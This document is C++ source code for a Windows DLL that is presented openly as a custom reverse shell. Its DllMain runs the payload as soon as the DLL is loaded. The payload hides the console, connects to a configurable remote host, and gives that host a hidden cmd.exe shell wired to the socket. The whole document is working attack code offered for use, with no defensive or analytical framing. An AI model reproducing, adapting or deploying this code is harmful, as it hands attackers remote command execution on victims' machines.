A custom cpp reverse shell dll

cpp_reverse_shell.cpp

-----------------------------------------------------------shell.h-----------------------------------------------------------
void shell();
-----------------------------------------------------------pwn.cpp-----------------------------------------------------------
#include <Windows.h>
#include "shell.h"

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fwdReason, LPVOID lpReserved){
  switch(fwdReason){
    case DLL_PROCESS_ATTACH:
      shell();
    case DLL_PROCESS_DETACH:
      break;    
  }
}

-----------------------------------------------------------shell.cpp-----------------------------------------------------------
#include <stdio.h>
#include <string.h>
#include <process.h>
#include <winsock2.h>
#include <ws2tcpip.h>

#pragma comment(lib, "Ws2_32.lib")

#define REMOTE_ADDR ""
#define REMOTE_PORT ""

void shell()
{
	FreeConsole();
	WSADATA wsaData;
	int iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
	struct addrinfo *result = NULL,	*ptr = NULL, hints;
	memset(&hints, 0, sizeof(hints));
	hints.ai_family = AF_UNSPEC;
	hints.ai_socktype = SOCK_STREAM;
	hints.ai_protocol = IPPROTO_TCP;
	getaddrinfo(REMOTE_ADDR, REMOTE_PORT, &hints, &result);
	ptr = result;
	SOCKET ConnectSocket = WSASocket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol, NULL, NULL, NULL);	
	connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
	STARTUPINFO si;
	PROCESS_INFORMATION pi;
	ZeroMemory(&si, sizeof(si));
	si.cb = sizeof(si);
	ZeroMemory(&pi, sizeof(pi));
	si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
	si.wShowWindow = SW_HIDE;
	si.hStdInput = (HANDLE)ConnectSocket;
	si.hStdOutput = (HANDLE)ConnectSocket;
	si.hStdError = (HANDLE)ConnectSocket;
	TCHAR cmd[] = TEXT("C:\\WINDOWS\\SYSTEM32\\CMD.EXE");
	CreateProcess(NULL, cmd, NULL, NULL, TRUE, 0, NULL,	NULL, &si, &pi);
	WaitForSingleObject(pi.hProcess, INFINITE);
	CloseHandle(pi.hProcess);
	CloseHandle(pi.hThread);
	WSACleanup();
}